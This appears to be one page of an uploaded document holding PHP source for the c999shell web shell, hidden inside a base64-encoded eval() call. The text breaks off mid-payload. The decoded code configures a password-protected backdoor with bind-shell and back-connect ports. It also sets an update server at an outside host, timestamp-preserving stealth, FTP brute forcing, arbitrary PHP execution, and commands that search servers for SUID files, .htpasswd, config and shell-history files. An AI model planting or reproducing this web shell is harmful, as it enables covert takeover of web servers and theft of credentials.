You are on page 1of 48

<?

eval(base64_decode('Ly9TdGFydGluZyBjYWxscwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWlj cm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBs b2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTt9 fQplcnJvcl9yZXBvcnRpbmcoNSk7CkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsKQHNldF9tYWdpY19x dW90ZXNfcnVudGltZSgwKTsKJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAi d2luIjsKZGVmaW5lKCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsKaWYgKGdldF9tYWdpY19xdW90 ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMo JiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7 aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxz ZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9CiRfUkVRVUVT VCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7CmZvcmVhY2goJF9SRVFVRVNUIGFz ICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319Cgokc2h2ZXIgPSAiMS4wIHByZS1y ZWxlYXNlIGJ1aWxkICMxNiI7IC8vQ3VycmVudCB2ZXJzaW9uCi8vQ09ORklHVVJBVElPTiBBTkQgU0VU VElOR1MKaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImM5OTlzaF9zdXJsIik7ICRz dXJsID0gIiI7fQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNl dGNvb2tpZSgiYzk5OXNoX3N1cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTk5 c2hfc3VybCJdOyAvL1NldCB0aGlzIGNvb2tpZSBmb3IgbWFudWFsIFNVUkwKfQoKJHN1cmxfYXV0b2Zp bGxfaW5jbHVkZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNlYXJjaCB2YXJpYWJsZXMgd2l0aCBkZXNj cmlwdG9ycyAoVVJMcykgYW5kIHNhdmUgaXQgaW4gU1VSTC4KCmlmICgkc3VybF9hdXRvZmlsbF9pbmNs dWRlIGFuZCAhJF9SRVFVRVNUWyJjOTk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2gg KGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9 Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsg Zm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwi KSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0 ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JF UVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2Zp bGxfaW5jbHVkZT0xJiI7fX0KaWYgKGVtcHR5KCRzdXJsKSkKewogJHN1cmwgPSAiPyIuJGluY2x1ZGVz dHI7IC8vU2VsZiB1cmwKfQokc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoJHN1cmwpOwoKJHRpbWVsaW1p dCA9IDA7IC8vdGltZSBsaW1pdCBvZiBleGVjdXRpb24gdGhpcyBzY3JpcHQgb3ZlciBzZXJ2ZXIgcXVv dGUgKHNlY29uZHMpLCAwID0gdW5saW1pdGVkLgovL0F1dGhlbnRpY2F0aW9uCiRsb2dpbiA9ICIiOyAv L2xvZ2luCi8vRE9OJ1QgRk9SR09UIEFCT1VUIFBBU1NXT1JEISEhCiRwYXNzID0gIiI7IC8vcGFzc3dv cmQKJG1kNV9wYXNzID0gIiI7IC8vbWQ1LWNyeXBlZCBwYXNzLiBpZiBudWxsLCBtZDUoJHBhc3MpCiRo b3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7 bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikKJGxv Z2luX3R4dCA9ICJSZXN0cmljdGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLgokYWNjZXNzZGVu aWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTk5c2hlbGxcIj5j OTk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7CiRnemlwZW5jb2RlID0gVFJV RTsgLy9FbmNvZGUgd2l0aCBnemlwPwokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRl IG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIEZBTFNFKQokYXg0ID0iaHR0cDovLyI7IAokYzk5OXNo X3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTk5c2hlbGwvIjsgLy9VcGRhdGUg c2VydmVyCiRjOTk5c2hfc291cmNlc3VybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L2ZpbGVzL2M5OTlzaF9z b3VyY2VzLyI7IC8vU291cmNlcy1zZXJ2ZXIKJGZpbGVzdGVhbHRoID0gVFJVRTsgLy9pZiBUUlVFLCBk b24ndCBjaGFuZ2UgbW9kaWZ5LSBhbmQgYWNjZXNzLXRpbWUKJGRvbmF0ZWRfaHRtbCA9ICI8Y2VudGVy PjxiPk93bmVkIGJ5IGhhY2tlcjwvYj48L2NlbnRlcj4iOwovKiBJZiB5b3UgcHVibGlzaCBmcmVlIHNo ZWxsIGFuZCB5b3Ugd2lzaAphZGQgbGluayB0byB5b3VyIHNpdGUgb3IgYW55IG90aGVyIGluZm9ybWF0 aW9uLApwdXQgaGVyZSB5b3VyIGh0bWwuICovCiRkb25hdGVkX2FjdCA9IGFycmF5KCIiKTsgLy9hcnJh eSAoImFjdDEiLCJhY3QyLCIuLi4pLCBpZiAkYWN0IGlzIGluIHRoaXMgYXJyYXksIGRpc3BsYXkgJGRv bmF0ZWRfaHRtbC4KJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQgZm9sZGVyCi8vJGN1cmRpciA9IGdldGVu digiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8vRm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVz LiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5ESVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAi Li8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vzc2VzIChlLmcuIGJydXRlLCBzY2FuLi4u KQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9EZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGlu ZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIg b2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8v SWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLgoKLy8gUmVnaXN0 ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInthY3Rpb24xfSI9PmFycmF5KCJleHQxIiwi ZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4 dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0gYXJyYXkoCiAiaHRtbCI9PmFycmF5KCJo dG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwi

anMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLAogImV4ZSI9PmFycmF5 KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksCiAi Y29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMi LCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJq ZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWci KSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAiZG93bmxv YWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0 YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuCi8vICBhcnJheSgKLy8g ICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLAovLyAg IC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmlsZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJh eSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0Iiks CiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7CgovKiBIaWdobGlnaHRlZCBmaWxlcy4K ICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHti cmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0gLSByZWd1bGFyIGV4cC4KICBpbnQge3R5 cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLAoxIC0gZmlsZXMgb25seSwgMiAt IGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4i IChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4i IChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJl YWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsi UEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1w bGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRl cyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9y cy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2Yg YSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5nZSgiYSIsInoiKTsKJGhleGR1bXBfbGlu ZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUKJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2 LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQokY3g3ID0iLmNvbSI7IAokbml4cHdkcGVycGFnZSA9 IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZAoKJGJpbmRwb3J0X3Bhc3Mg PSAiYzk5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9ydF9wb3J0ID0g IjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMxMzczIjsgLy8g ZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGN4NCA9Ii94LiI7IAokZGF0YXBpcGVfbG9jYWxw b3J0ID0gIjgwODEiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGRhdGFwaXBlCgovLyBDb21tYW5kLWFsaWFz ZXMKaWYgKCEkd2luKQp7CiAkY21kYWxpYXNlcyA9IGFycmF5KAogIGFycmF5KCItLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwK ICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAg LWxzIiksCiAgYXJyYXkoImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5 cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmlu ZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLAogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4g Y3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLAogIGFycmF5KCJm aW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMu cGhwIiksCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBc ImNvbmZpZypcIiIpLAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAi ZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICBhcnJheSgiZmluZCBhbGwgd3JpdGFi bGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLAogIGFycmF5KCJmaW5k IGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBl cm0gLTIgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAt dHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZpbmQgc2VydmljZS5wd2QgZmlsZXMg aW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICBhcnJh eSgiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3 ZCIpLAogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4g LXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwKICBhcnJheSgiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBm aWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksCiAgYXJyYXkoImZpbmQg LmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAu YmFzaF9oaXN0b3J5IiksCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5k IC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwKICBhcnJheSgiZmluZCAuZmV0Y2htYWlscmMg ZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiks CiAgYXJyYXkoImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZp bGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwKICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0 c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpCiApOwp9CmVsc2UKewogJGNtZGFsaWFzZXMgPSBhcnJh eSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0iLCAiZGlyIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQg

LWFuIikKICk7Cn0KCiRzZXNzX2Nvb2tpZSA9ICJjOTk5c2h2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxl IG5hbWUKCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokcHg3ID0iaHRtbCI7ICAK JGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVy IHBhc3RpbmcKCi8vUXVpY2sgbGF1bmNoCiRxdWlja2xhdW5jaCA9IGFycmF5KAogYXJyYXkoIjxpbWcg c3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9aG9tZVwiIGFsdD1cIkhvbWVcIiBoZWlnaHQ9XCIyMFwi IHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybCksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRz dXJsLiJhY3Q9aW1nJmltZz1iYWNrXCIgYWx0PVwiQmFja1wiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIy MFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLAogYXJyYXko IjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBo ZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0 b3J5LmdvKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz11cFwiIGFs dD1cIlVQRElSXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwu ImFjdD1scyZkPSV1cGQmc29ydD0lc29ydCIpLAogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0 PWltZyZpbWc9cmVmcmVzaFwiIGFsdD1cIlJlZnJlc2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMTdc IiBib3JkZXI9XCIwXCI+IiwiIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmlt Zz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9 XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJs LiJhY3Q9aW1nJmltZz1idWZmZXJcIiBhbHQ9XCJCdWZmZXJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwi MjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWZzYnVmZiZkPSVkIiksCiBhcnJheSgiPGI+RW5j b2RlcjwvYj4iLCRzdXJsLiJhY3Q9ZW5jb2RlciZkPSVkIiksCiBhcnJheSgiPGI+VG9vbHM8L2I+Iiwk c3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwKIGFycmF5KCI8Yj5Qcm9jLjwvYj4iLCRzdXJsLiJhY3Q9cHJv Y2Vzc2VzJmQ9JWQiKSwKIGFycmF5KCI8Yj5GVFAgYnJ1dGU8L2I+Iiwkc3VybC4iYWN0PWZ0cHF1aWNr YnJ1dGUmZD0lZCIpLAogYXJyYXkoIjxiPlNlYy48L2I+Iiwkc3VybC4iYWN0PXNlY3VyaXR5JmQ9JWQi KSwKIGFycmF5KCI8Yj5TUUw8L2I+Iiwkc3VybC4iYWN0PXNxbCZkPSVkIiksCiBhcnJheSgiPGI+UEhQ LWNvZGU8L2I+Iiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLAogYXJyYXkoIjxiPlVwZGF0ZTwvYj4iLCRz dXJsLiJhY3Q9dXBkYXRlJmQ9JWQiKSwKIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iLCRzdXJsLiJhY3Q9 ZmVlZGJhY2smZD0lZCIpLAogYXJyYXkoIjxiPlNlbGYgcmVtb3ZlPC9iPiIsJHN1cmwuImFjdD1zZWxm cmVtb3ZlIiksCiBhcnJheSgiPGI+TG9nb3V0PC9iPiIsIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0o J0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93LmNsb3NlKCkiKQopOwoKLy9IaWdobGlnaHQtY29kZSBjb2xv cnMKJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOwokaGlnaGxpZ2h0X2JnID0gIiNGRkZG RkYiOwokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7CiRoaWdobGlnaHRfZGVmYXVsdCA9ICIj MDAwMEJCIjsKJGhpZ2hsaWdodF9odG1sID0gIiMxMzAwRkYiOwokaGlnaGxpZ2h0X2tleXdvcmQgPSAi IzAwNzcwMCI7CiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOwoKQCRmID0gJF9SRVFVRVNUWyJm Il07CkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5OXNoY29vayJdKTsKCi8vRU5EIENPTkZJR1VSQVRJT04K CgovLyBcL05leHQgY29kZSBpc24ndCBmb3IgZWRpdGluZ1wvCkBzZXRfdGltZV9saW1pdCgwKTsKJHRt cCA9IGFycmF5KCk7CmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3Jl cGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0 bXApLiIpJCFpIjsKaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFw cmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8 YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5OXNoZWxsXCI+Yzk5OXNoZWxsPC9h PjogQWNjZXNzIERlbmllZCAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90 IGFsbG93Iik7fQppZiAoIWVtcHR5KCRsb2dpbikpCnsKIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1k NV9wYXNzID0gbWQ1KCRwYXNzKTt9CiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxv Z2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQogewogIGlm IChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgi Jm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0 ZTogQmFzaWMgcmVhbG09XCJjOTk5c2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOwog IGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOwogIGV4aXQoJGFjY2Vzc2RlbmllZG1l c3MpOwogfQp9CmlmICgkYWN0ICE9ICJpbWciKQp7CiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsKY2hk aXIoJGN1cmRpcik7CmlmICgkc2VsZndyaXRlIG9yICR1cGRhdGVub3cpIHtAb2JfY2xlYW4oKTsgYzk5 OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXpl KCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vz c19kYXRhID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNz X2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkg eyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlz YWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMg PSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUo IiwiLCRkaXNhYmxlZnVuYyk7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5X2J1ZmZfcHJlcGFy ZSIpKQp7CmZ1bmN0aW9uIGM5OTlfYnVmZl9wcmVwYXJlKCkKewogZ2xvYmFsICRzZXNzX2RhdGE7CiBn bG9iYWwgJGFjdDsKIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2Rh

dGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBh dGgoJHYpKTt9CiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFb ImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgk dikpO30KICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0p OwogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOwogc29y dCgkc2Vzc19kYXRhWyJjb3B5Il0pOwogc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7CiBpZiAoJGFjdCAh PSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19k YXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQog ZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFb ImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19Cn0KfQpjOTk5 X2J1ZmZfcHJlcGFyZSgpOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5OV9zZXNzX3B1dCIpKQp7CmZ1 bmN0aW9uIGM5OTlfc2Vzc19wdXQoJGRhdGEpCnsKIGdsb2JhbCAkc2Vzc19jb29raWU7CiBnbG9iYWwg JHNlc3NfZGF0YTsKIGM5OTlfYnVmZl9wcmVwYXJlKCk7CiAkc2Vzc19kYXRhID0gJGRhdGE7CiAkZGF0 YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiBzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTsKfQp9CmZv cmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikKewogaWYgKCFlbXB0eSgkX0dFVFsk 